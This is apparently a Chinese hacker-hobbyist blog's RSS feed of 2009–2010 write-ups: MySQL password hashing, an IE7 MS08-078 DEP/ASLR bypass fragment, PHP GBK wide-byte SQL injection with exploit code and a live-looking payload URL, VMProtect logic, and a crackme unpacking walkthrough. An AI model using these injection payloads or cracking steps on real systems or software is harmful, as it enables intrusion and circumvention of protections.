<?xml version="1.0" encoding="utf-8"?>

<rdf:RDF
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  xmlns:admin="http://webns.net/mvcb/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns="http://purl.org/rss/1.0/">

  <channel rdf:about="http://www.kyospace.com/">
    <title><![CDATA[KYO的地盘]]></title>
    <link><![CDATA[http://www.kyospace.com/]]></link>
    <description><![CDATA[心情日记+搜集的文章]]></description>
    <dc:language>zh-cn</dc:language>
    <dc:creator><![CDATA[KYO]]></dc:creator>
    <dc:date>2010-03-10T21:11:58Z</dc:date>
    <admin:generatorAgent rdf:resource="http://www.kyospace.com/" />
    <admin:errorReportsTo rdf:resource="http://www.kyospace.com/"/>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
    <items>
      <rdf:Seq>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=342">
    <title><![CDATA[mysql 口令算法]]></title>
    <description><![CDATA[唠一唠mysql的口令算法

Author: kyo327
email: humour327#hotmail.com
Date: 2010-03-10

大家都知道mysql口令的加密分两种。一种是古董级别的mysql323加密，另一种是蒙骗了大众的的mysql sha1加密。
虽然现在遇到这样的加密可以用cain来破解，按说我不用在这里...]]></description>
    <content:encoded><![CDATA[唠一唠mysql的口令算法<br><br>Author: kyo327<br>email: humour327#hotmail.com<br>Date: 2010-03-10<br><br>大家都知道mysql口令的加密分两种。一种是古董级别的mysql323加密，另一种是蒙骗了大众的的mysql sha1加密。<br>虽然现在遇到这样的加密可以用cain来破解，按说我不用在这里多此一举，但本文不是为了破解而写，只是科普一下，让大家更清楚的了解mysql口令的加密方法到底是怎样的。<br><br>先说mysql4.1.x版本以后的：<br><br>mysql&gt; select password(&#39;kyo327&#39;);<br>+-------------------------------------------+<br>| password(&#39;kyo327&#39;)                        |<br>+-------------------------------------------+<br>| *B19CB640DF626A73397BFBBB8111D11E2BEC11F1 |<br>+-------------------------------------------+<br>1 row in set (0.02 sec)<br><br>mysql&gt; select sha1(&#39;kyo327&#39;);<br>+------------------------------------------+<br>| sha1(&#39;kyo327&#39;)                           |<br>+------------------------------------------+<br>| d81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820 |<br>+------------------------------------------+<br>1 row in set (0.03 sec)<br><br><br>很明显不是标准的sha1加密。然而这个问题像是皇帝的新装一样，好像没有哪个人指出来，那我就在这里当一次无知的小孩吧。 再看下面<br><br>mysql&gt; select sha1(0xd81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820);<br>+--------------------------------------------------+<br>| sha1(0xd81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820) |<br>+--------------------------------------------------+<br>| b19cb640df626a73397bfbbb8111d11e2bec11f1         |<br>+--------------------------------------------------+<br>1 row in set (0.00 sec)<br><br>我想无需用过多言语，大家应该都很清楚mysql4.1.x以后版本的加密方式了吧。<br><br><br>接下来说一说mysql323加密。 <br><br>这个我是直接从mysql源代码里抠出来的。代码如下：<br><br><br>#include &quot;stdio.h&quot;<br>#include &lt;string.h&gt;<br><br>void hash_password(long *result, const char *password, int password_len)<br>{<br>register long nr=1345345333L, add=7, nr2=0x12345671L;<br>long tmp;<br>const char *password_end= password + password_len;<br>for (; password &lt; password_end; password++)<br>{<br>if (*password == &#39; &#39; || *password == &#39;\t&#39;)<br>continue; /* skip space in password */<br>tmp= (long) (char) *password;<br>nr^= (((nr & 63)+add)*tmp)+ (nr &lt;&lt; 8);<br>nr2+=(nr2 &lt;&lt; 8) ^ nr;<br>add+=tmp;<br>}<br>result[0]=nr & (((long) 1L &lt;&lt; 31) -1L); /* Don&#39;t use sign bit (str2int) */;<br>result[1]=nr2 & (((long) 1L &lt;&lt; 31) -1L);<br>}<br><br>int main(int argc, char* argv[])<br>{<br>const char *password=&quot;kyo&quot;;<br>long hash_res[2];<br>hash_password(hash_res, password, (int) strlen(password));<br>printf(&quot;%08lx%08lx\n&quot;, hash_res[0], hash_res[1]);<br>return 0;<br>}<br><br><br>运行后<br>7901b47128d1045d<br>-----------------------------------------------------------------------------------<br>mysql&gt; select old_password(&#39;kyo&#39;);<br>+---------------------+<br>| old_password(&#39;kyo&#39;) |<br>+---------------------+<br>| 7901b47128d1045d |<br>+---------------------+<br>1 row in set (0.00 sec)<br>-----------------------------------------------------------------------------------<br><br><br>over。<br>想做mysql密码爆力破解工具的，根据本文应该很容易写出来了。<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=342]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-09T16:35:09Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=340">
    <title><![CDATA[唠一唠加密与解密]]></title>
    <description><![CDATA[Author: kyo327
email: humour327#hotmail.com
Date: 2010-03-03

我认为加密与解密就是高级智慧生物一种脑力活动方式，也是区别于其他动物最明显的标志之一。几千年以前凯撒曾经使用一种加密方法用于传递战争中的信息，其实这段历史足以说明加密解密是人类智慧的结...]]></description>
    <content:encoded><![CDATA[Author: kyo327<br>email:   humour327#hotmail.com<br>Date: 2010-03-03<br><br>我认为加密与解密就是高级智慧生物一种脑力活动方式，也是区别于其他动物最明显的标志之一。几千年以前凯撒曾经使用一种加密方法用于传递战争中的信息，其实这段历史足以说明加密解密是人类智慧的结晶。在冷兵器时代打仗不就是两军交战，多者胜吗？但是信息加密的出现打破了这种常规，在测探军机要情后总要经过信息的传递，而那种加了密的信息即便被对方截获也看不出东南西北来，这样在知己又知彼的情况下再熟练的运用三十六计很容易就能以少胜多了。可见信息加密的重要性。<br><br>       计算机的面世凸现了人类喜欢利用加密与解密庸人自扰的现实。很早的时候软件程序根本没有壳的概念，因为没有很多人看的懂那些二进制代码，所以程序作者可以用最简单的直接比较的认证方式来阻挡没有付费的使用者。随着学习计算机的人越来越多，无聊的人就编出了反汇编器，这样二进制代码被转换成了汇编指令，人们理解程序流程就方便多了。眼看程序开发者辛辛苦苦开发的软件被人们轻易的破解，于是壳出现了，越来越多的加密算法也出现了。而破解者也不甘心，有加密就有解密，不然算法的设计者也无法解出答案。而最无辜的用户始终是受害者，他们想要的仅仅是程序的应用，却不得不运行程序之外为了阻挡破解者的壳、VM、成千上万行的垃圾代码，软件的运行速度竟然要卡十几秒钟才能启动。用户也许很疑惑，现在电脑的硬件CPU都是4核的，内存4G还是双通道的，可为什么还不如win98时代在64M内存的机器上的运行速度呢？其实用户每运行一次加了VM的软件，还要连带的安装并运行一个带解释器的虚拟机，那速度能快得起来才真是奇迹呢。也许很多人认为那些设计VM的作者的脑袋应该是被驴踢了，其实我觉得也是。但我们应该知道，这可能也不是他们的意愿，是被那些无聊的破解者给逼出来的。而用户都成了设计开发者与破解者智慧斗争中的牺牲品。<br><br>       其实网络安全的世界也是一样的，如果没有黑客，程序开发者闲的蛋疼才去过滤那些乱七八糟的特殊字符呢，他们巴不得把应用设计好了就利用空余时间偷偷菜呢。而利用WEB赚钱的企业所部署的防火墙、招聘的网络安全工程师、购买的漏洞扫描软件等等所花费的RMB不会是从天上掉下来的，羊毛出在羊身上，吃亏的还是无辜的用户。因此用户又一次成了程序员与黑客智慧斗争的牺牲品。<br><br>   也许在我为所不知的很多领域，用户应该也是所有无聊者与对抗无聊者之间斗争的牺牲品。<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=340]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-03T14:06:13Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=338">
    <title><![CDATA[(转)How to Bypass DEP+ASLR+SEHOP]]></title>
    <description><![CDATA[昨天去SSCON2009听TK讲了一个议题“安全漏洞的下一个十年”，佩服TK的演讲的幽默风趣，MS一个

非常具有忽悠的议题讲的很生动，精彩，再次膜拜下，我个人觉得里面最精彩部分就在如下了，呵呵，

通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护...]]></description>
    <content:encoded><![CDATA[昨天去SSCON2009听TK讲了一个议题&quot;安全漏洞的下一个十年&quot;，佩服TK的演讲的幽默风趣，MS一个<br><br>非常具有忽悠的议题讲的很生动，精彩，再次膜拜下，我个人觉得里面最精彩部分就在如下了，呵呵，<br><br>通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护机制，很是受启发，因为<br><br>TK只有一张PPT的介绍，我在此想展开介绍的更详细点，和大家分享一下TK的研究成果：），未经TK<br><br>的同意，在此还要感谢下TK:)<br><br>我去年分析过这个漏洞，现在让我们看看，到底是如果绕过windows现有的DEP,ALSR,SEHOP这些安全<br><br>保护机制的。<br><br>if(wxp||w2k3)document.write(<br>&#39;&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;<br>&lt;![CDATA[&lt;image SRC=http://&#11C8;&#2570;.book.com src=http://www.google.com]]&gt;<br>&lt;![CDATA[&gt;]]&gt;&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;<br>&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;<br>&lt;XML ID=I&gt;<br>&lt;/XML&gt;<br><br>漏洞细节就不介绍了，构造如此数据在这个Poc中<br><br>0x0a0a11c8<br><br>通过Heap spray在内存中填充0x7ffe027c这个值，为什么要填充如下值，下面会作介绍。<br><br><br>mshtml.dll CXfer::TransferFromSrc(void) <br>.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near<br>.text:461E3D18                                         ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p<br>.text:461E3D18                                         ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...<br>.text:461E3D18<br>.text:461E3D18 pvarg           = VARIANTARG ptr -18h<br>.text:461E3D18 var_8           = dword ptr -8<br>.text:461E3D18 var_4           = dword ptr -4<br>.text:461E3D18<br>.text:461E3D18                 mov     edi, edi<br>.text:461E3D1A                 push    ebp<br>.text:461E3D1B                 mov     ebp, esp<br>.text:461E3D1D                 sub     esp, 18h<br>.text:461E3D20                 push    ebx<br>.text:461E3D21                 push    esi<br>.text:461E3D22                 mov     esi, ecx<br>.text:461E3D24                 xor     ebx, ebx<br>.text:461E3D26                 test    byte ptr [esi+1Ch], 9<br>.text:461E3D2A                 jnz     loc_461E3E2E<br><br>.text:461E3D30                 mov     eax, [esi] //eax==0x0a0a11c8<br>.text:461E3D32                 cmp     eax, ebx<br>.text:461E3D34                 jz      loc_461E3E29<br>.text:461E3D3A                 cmp     [esi+4], ebx<br>.text:461E3D3D                 jz      loc_461E3E29<br>.text:461E3D43                 cmp     [esi+8], ebx<br>.text:461E3D46                 jz      loc_461E3E29<br>.text:461E3D4C                 mov     ecx, [eax] //[0x0a0a11c8]==0x7ffe027c<br>.text:461E3D4E                 push    edi<br>.text:461E3D4F                 push    eax //eax==0x0a0a11c8<br>.text:461E3D50                 call    dword ptr [ecx+84h] //call [0x7FFE027C+0x84], 换句话说就是call<br><br>[0x7ffe0300], 这是SharedUserData!SystemCallStub指针，这个指针里面存放着用户态进入内核态<br><br>ntdll!KiFastSystemCall函数的地址，也就是任何内核系统服务调用都会通过这个函数进入内核。<br><br>this call request for native API.// this call like call NtUserLockWorkStation for lock the windows:)<br><br><br>0:000&gt; dd SharedUserData!SystemCallStub<br>7ffe0300  7c828608 7c82860c 00000000 00000000<br>7ffe0310  00000000 00000000 00000000 00000000<br>7ffe0320  00d2c763 00000000 00000000 00000000<br>7ffe0330  71724108 00000000 00000000 00000000<br>7ffe0340  00000000 00000000 00000000 00000000<br>7ffe0350  00000000 00000000 00000000 00000000<br>7ffe0360  00000000 00000000 00000000 00000000<br>7ffe0370  00000000 00000000 00000000 00000000<br><br>0:000&gt; u 7c828608 <br>ntdll!KiFastSystemCall:<br>7c828608 8bd4            mov     edx,esp<br>7c82860a 0f34            sysenter<br>ntdll!KiFastSystemCallRet:<br><br><br>我们再看看这个0x11c8这个值构造的用意，先让我们看看锁屏函数NtUserLockWorkStation，也就是直接<br><br>调用这个函数就是会实现锁屏功能。<br><br>0:000&gt; u 773ddd0d <br>USER32!NtUserLockWorkStation:<br>773ddd0d b8c8110000      mov     eax,11C8h // <br>773ddd12 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)<br>773ddd17 ff12            call    dword ptr [edx]<br>773ddd19 c3              ret<br><br>我们再看看这个ie7的漏洞的片断<br>.text:461E3D46                 jz      loc_461E3E29<br>.text:461E3D4C                 mov     ecx, [eax] //[0x0a0a11c8]==0x7ffe027c<br>.text:461E3D4E                 push    edi<br>.text:461E3D4F                 push    eax //eax==0x0a0a11c8//这里的实现是不是跟NtUserLockWorkStation很<br>相似<br>.text:461E3D50                 call    dword ptr [ecx+84h] //call [0x7FFE027C+0x84]<br><br>也许大家会问NtUserLockWorkStation的代码片断是mov eax,0x11c8，而上面的代码的eax是0x0a0a11c8，<br><br>事实在内核中处理过程，来通过传入的eax的值来判断是哪个服务调用，其实只用了低两个字节，所以<br><br>0x0a0a11c8可以忽略高两个字节，对服务调用结果不影响，所以完全可以当成是执行了锁屏操作。<br><br>结论：<br><br>1.通过Heap spray注入内存的构造的数据绕过DEP，因为没有在堆上执行代码<br><br>2.绕过ASLR，是因为内核服务调用的入口地址是不会变化的，只要能够构造相应的内核调用需要用到的<br><br>参数，就可以执行类似这样的shellcode，但是局限性也很明显了，因为这样构造出来的shellcode功能很<br><br>有限，就像TK演示的那样，制造了一个锁屏的操作。<br><br>3.利用起来非常困难，但就理论上就对抗windows的这些安全保护机制，算是绕过了，呵呵：）<br><br>写的匆忙，多多包涵，再次感谢TK提供的这种想法：）<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=338]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-02-09T14:51:06Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=335">
    <title><![CDATA[PHP字符编码绕过漏洞总结]]></title>
    <description><![CDATA[该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换
后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞
就触发了。
 mysql_real_esc...]]></description>
    <content:encoded><![CDATA[该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换<br>后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞<br>就触发了。<br>     mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相<br>应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。<br>方法一：<br>改变mysql配置文件my.cnf<br>CODE:<br>[client]<br>default-character-set=GBK<br>方法二：<br>在建立连接时使用<br>CODE:<br>SET CHARACTER SET &#39;GBK&#39;<br>例：mysql_query(&quot;SET CHARACTER SET &#39;gbk&#39;&quot;, $c);<br>问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞<br>下面是来自<a target='_blank' href='http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码'>http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码</a><br>&lt;?php<br><br>$c = mysql_connect(&quot;localhost&quot;, &quot;user&quot;, &quot;pass&quot;);<br>mysql_select_db(&quot;database&quot;, $c);<br><br>// change our character set<br>mysql_query(&quot;SET CHARACTER SET &#39;gbk&#39;&quot;, $c);<br><br>// create demo table<br>mysql_query(&quot;create TABLE users (<br>    username VARCHAR(32) PRIMARY KEY,<br>    password VARCHAR(32)<br>) CHARACTER SET &#39;GBK&#39;&quot;, $c);<br>mysql_query(&quot;insert INTO users VALUES(&#39;foo&#39;,&#39;bar&#39;), (&#39;baz&#39;,&#39;test&#39;)&quot;, $c);<br><br>// now the exploit code<br>$_POST[&#39;username&#39;] = chr(0xbf) . chr(0x27) . &#39; OR username = username /*&#39;; <br>$_POST[&#39;password&#39;] = &#39;anything&#39;; <br><br>// Proper escaping, we should be safe, right?<br>$user = mysql_real_escape_string($_POST[&#39;username&#39;], $c);<br>$passwd = mysql_real_escape_string($_POST[&#39;password&#39;], $c);<br><br>$sql = &quot;select * FROM  users where  username = &#39;{$user}&#39; AND password = &#39;{$passwd}&#39;&quot;;<br>$res = mysql_query($sql, $c);<br>echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records<br><br>?&gt;<br>纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知<br>道字符集的情况下用默认字符集处理产生漏洞的。<br>       下面再来分析下国内最近漏洞产生的原因。<br>问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。<br>发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过<br>addslashes() 加上的&quot;\&quot;失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。 <br>      根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试<br>$id1=mb_convert_encoding($_GET[&#39;id&#39;], &#39;utf-8&#39;, &#39;gbk&#39;);<br>$id2=iconv(&#39;gbk//IGNORE&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br>$id3=iconv(&#39;gbk&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br>这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：<br>&lt;?php<br><br>$c = mysql_connect(&quot;localhost&quot;, &quot;user&quot;, &quot;pass&quot;);<br>mysql_select_db(&quot;database&quot;, $c);<br><br>// change our character set<br>mysql_query(&quot;SET CHARACTER SET &#39;gbk&#39;&quot;, $c);<br><br>// create demo table<br>mysql_query(&quot;create TABLE users (<br>    username VARCHAR(32) PRIMARY KEY,<br>    password VARCHAR(32)<br>) CHARACTER SET &#39;GBK&#39;&quot;, $c);<br>mysql_query(&quot;insert INTO users VALUES(&#39;foo&#39;,&#39;bar&#39;), (&#39;baz&#39;,&#39;test&#39;)&quot;, $c);<br><br>// now the exploit code<br>//$id1=mb_convert_encoding($_GET[&#39;id&#39;], &#39;utf-8&#39;, &#39;gbk&#39;);<br>$id2=iconv(&#39;gbk//IGNORE&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br>//$id3=iconv(&#39;gbk&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br><br>$sql = &quot;select * FROM  users where  username = &#39;{$id2}&#39; AND password = &#39;password&#39;&quot;;<br>$res = mysql_query($sql, $c);<br>echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records<br><br>?&gt;<br>测试情况 <a target='_blank' href='http://www.safe3.cn/test.php?id=%bf%27'>http://www.safe3.cn/test.php?id=%bf%27</a> OR username = username /*<br> <br>    后记，这里不光是%bf，其它许多字符也可以造成同样漏洞。<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=335]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-01-13T13:51:51Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=332">
    <title><![CDATA[(转)理解vmp]]></title>
    <description><![CDATA[vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P
P(a,b) = ~a & ~b

这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令
怕忘记了，直接给出公式，后面的数字指需要几次P运算

not(a) = P(a,a) 1
and(a,b) = P(P(a,a),P(b,b)) 3
or(a,b...]]></description>
    <content:encoded><![CDATA[vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P<br>P(a,b) = ~a & ~b<br><br>这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令<br>怕忘记了，直接给出公式，后面的数字指需要几次P运算<br><br>not(a)   = P(a,a)    1<br>and(a,b) = P(P(a,a),P(b,b))   3<br>or(a,b)   = P(P(a,b),P(a,b))   2<br>xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5<br><br>上面的次数应该是最少需要的次数了，当然也可以展开，那样就更加复杂了<br>vmp用1条指令模拟了4条指令，因此逆向起来比较复杂，如果中间夹杂垃圾运算，那么工程量非同小可<br>下面来证明一下上面4条等式<br><br>not(a) = ~a = ~a & ~a = P(a,a)<br>and(a,b) = a & b = ~(~a) & ~(~b) = P(not(a),not(b)) = P(P(a,a),P(b,b))<br>or(a,b) = a | b = ~(~(a|b)) = ~(~a & ~b) = ~P(a,b) = P(P(a,b),P(a,b))<br>xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((a | ~b) & (~a | b)) = ~(1 | 1 | a & b | ~a & ~b) = ~(a & b) & ~(~a & ~b) = P(and(a,b),P(a,b)) = P(P(P(a,a),P(b,b)),P(a,b))<br><br>上面的xor是最复杂的，不过简化后也只需要5次运算就可以实现了<br><br>至于eflag，eflag是根据结果来定的，由于都是逻辑运算，所以最后取一下eflag即可<br><br>在某修改版的vm中，还可以看到另一个强大的指令 not_not_or 设这条指令为Q<br>Q(a,b) = ~a | ~b<br><br>同样，这一条指令可以模拟4条常规的逻辑运算指令<br>怕忘记了，直接给出公式，后面数字表示需要几次Q运算<br><br>not(a)   = Q(a,a)    1<br>and(a,b) = Q(Q(a,b),Q(a,b))   2<br>or(a,b)   = Q(Q(a,a),Q(b,b))   3<br>xor(a,b) = Q(Q(Q(a,a),b),Q(a,Q(b,b))) 5<br><br>基本和上面P指令相同，效率没什么变化<br>只对最复杂的xor证明一下，以防忘记<br><br>xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((~(~a) | ~b) & (~a | ~(~b))) = ~(~(~a) | ~b) | ~(~a | ~(~b)) = Q(Q(not(a),b),Q(a,not(b))) = Q(Q(Q(a,a),b),Q(a,Q(b,b)))<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=332]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-12-24T10:47:17Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=327">
    <title><![CDATA[脱一个壳玩玩]]></title>
    <description><![CDATA[这次不用ImportREC 重建输入表，自己手工建一个试试。
目标在附件里。
 这个壳OEP比较好找。直接用OD的sfx就到了。
oep:47148b
当然断GetVersion 也可以。
//////////////////////////////////
最常规的
0047A034 <> 60 pushad
0047A035 9C pushfd
0047A036 E8...]]></description>
    <content:encoded><![CDATA[这次不用ImportREC 重建输入表，自己手工建一个试试。<br>目标在附件里。<br> 这个壳OEP比较好找。直接用OD的sfx就到了。<br>oep:47148b<br>当然断GetVersion 也可以。<br>//////////////////////////////////<br>最常规的<br>0047A034 &lt;&gt;  60                     pushad<br>0047A035     9C                     pushfd<br>0047A036     E8 8E000000            call CrackMe.0047A0C9                  ; 来到这里 esp定律 命令行下hr esp<br>0047A03B     C3                     retn<br><br>F9运行来到这里：<br>0037087A     E8 980D0000            call 00371617                          ; f7走一下<br>0037087F     51                     push ecx<br>00370880     E9 600C0000            jmp 003714E5<br><br>00371617     8D6424 04              lea esp,dword ptr ss:[esp+4]           ; 这里<br>0037161B     61                     popad<br>0037161C   ^ E9 E7F9FFFF            jmp 00371008                           ; 这里继续F7<br><br>00371008   - FFE0                   jmp eax                                ; 跳向oep<br>、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、<br><br>到OEP后知道iat被加密了 是这样的<br><br>00475000  003E2264<br>00475004  003E21A0<br>00475008  003E2137  <br>0047500C  003E2328<br>00475010  003E215F<br>00475014  00000000<br>00475018  003E624C  <br>0047501C  003E47DB<br>00475020  003E5C30<br>00475024  003E7088<br>00475028  003E50A2<br>0047502C  003E465C<br>00475030  003E2D4C<br>00475034  003E32E7<br>00475038  003E73C7<br>0047503C  003E6274<br>00475040  003E5814<br>00475044  003E7207<br>00475048  003E524D<br>0047504C  003E53F8<br>00475050  003E5061<br>///////////////////////////////////////////<br>重新来，在475000处下内存写入断点。可以到这里：<br>/*7C921DE6*/  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]     //这里 <br>/*7C921DE8*/  JMP DWORD PTR DS:[EDX*4+7C921F00]<br>/*7C921DEF*/  MOV EAX,EDI<br>/*7C921DF1*/  MOV EDX,3<br>/*7C921DF6*/  SUB ECX,4<br>/*7C921DF9*/  JB SHORT ntdll.7C921E07<br>/*7C921DFB*/  AND EAX,3<br><br><br>f8一下  后IAT就添充完了。如下：<br><br>00475000  00075812<br>00475004  00075806<br>00475008  000757EE<br>0047500C  000757E2<br>00475010  00075822<br>00475014  00000000<br>00475018  00075A6E<br>0047501C  00075A5C<br>00475020  00075A4E<br>00475024  00075A3E<br>00475028  00075A32<br>0047502C  00075A26<br>00475030  00075A1C<br>00475034  00075A10<br>00475038  00075A04<br>0047503C  00075A7E<br>00475040  000759EC<br>00475044  000759DE<br>00475048  000759D0<br>0047504C  000759C2<br>00475050  000759B2<br>00475054  00075998<br><br>/////////////////////////////////////<br>这个一看就是原始的输入表，那还等啥？直接用 LordPE 修正镜像大小，然后 dump。<br>用 PETools 的编辑工具把 dump 程序的 OEP 改成 007148b，再用16进制编辑工具定位到偏移 75000 处.<br>第一个是75812，在winhex中拉到75812后再往上拉，再找到75812开头的地方。这时发现输入表没有了。<br>那只能自己重建一个了。<br><br>先熟悉下输入表结构吧。<br><br>IMAGE_IMPORT_DESCRIPTOR结构的各个域的含义:<br>1)union {<br>         DWORD Characteristics; <br>         DWORD OriginalFirstThunk;<br>   };<br>    这个联合指向一个 IMAGE_THUNK_DATA 类型的结构数组. 其实这个字段为0也行。<br>  <br>2)TimeDateStamp<br>    该dll的时间日期戳,一般为0.<br>  <br>3)ForwarderChain<br>    正向连接索引.一般为0.<br>  <br>4)Name<br>    dll名字的RVA.<br>  <br>5)FirstThunk<br>    这个域也是一个RVA,指向一个DWORD数组,数组以NULL结束.数组中的每个DWORD实际上是一个IMAGE_THUNK_DATA结构的联合体。IMAGE_THUNK_DATA联合体通常被解释为一个指向IMAGE_IMPORT_BY_NAME结构的RVA.<br><br>大小是5个dword. 程序里有多少个dll，就有多少个这样的结构，最后由20个0结尾。<br><br>///////////////////////////////////////////////////////<br>既然本程序没有输入表，我就在75b10处建一个吧。<br><br>第一个DWORDOriginalFirstThunk指向75812的rva是7550c.<br>第2，3个DWORD都填0.<br>第4个DWORD是指向dll的rva.找到dll的位置填上去为 75834<br>第5个DWORD是上面的指向75812的rva，找到是75000.<br><br>看到一共是3个dll。按照这个格式把那两个结构也写到后面即可。<br>改完后是这样的<br>：75b10<br>0C550700000000000000000034580700<br>00500700245507000000000000000000<br>D85A070018500700C457070000000000<br>00000000D6570700B450070000000000<br><br><br>完了后再用pe工具把iat的rva改为75b10  大小改为50即可。<br>/////////////////////////////////////////<br><br>由于union {<br>         DWORD Characteristics; <br>         DWORD OriginalFirstThunk;<br>   };<br>这个为0也行   所以改为下面也行<br>000000000000000000000000D85A0700<br>18500700000000000000000000000000<br>34580700005007000000000000000000<br>00000000D6570700B450070000000000<br>///////////////////////////////////////////////////////////////<br>以上只是练习下手工建IAT的方法 其实下面方法最简单。<br>0047A41B    FFD2            call    edx                               F7进入 <br>ctrl+B 搜<br><br>0F 85 A5 F5 ?? FF <br>将搜到指令的jnz 改成jmp   即可<br>壳就不加密IAT了<br><br><a href='attachments/m&#111;nth_200909/18_151951_gd6jCrackMe.rar'><img src='http://www.kyospace.com/images/icon_save.gif' border='0' align='absmiddle'> <b>File:</b> Click to Download</a>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=327]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-09-18T15:19:56Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=323">
    <title><![CDATA[关于网络游戏]]></title>
    <description><![CDATA[也许是从5月中旬开始吧.又一次由于无事可做转向了网络游戏. 是剑侠2外传.算是金山推出的新游戏吧.依我看只不过把剑侠2改简单了点,游戏内容基本还是一样的.
 不过这游戏里的金子真的很难赚,而前期做任务只给经验不给金子,致使我只好申请一个贵宾号.做任务到70级以后我便...]]></description>
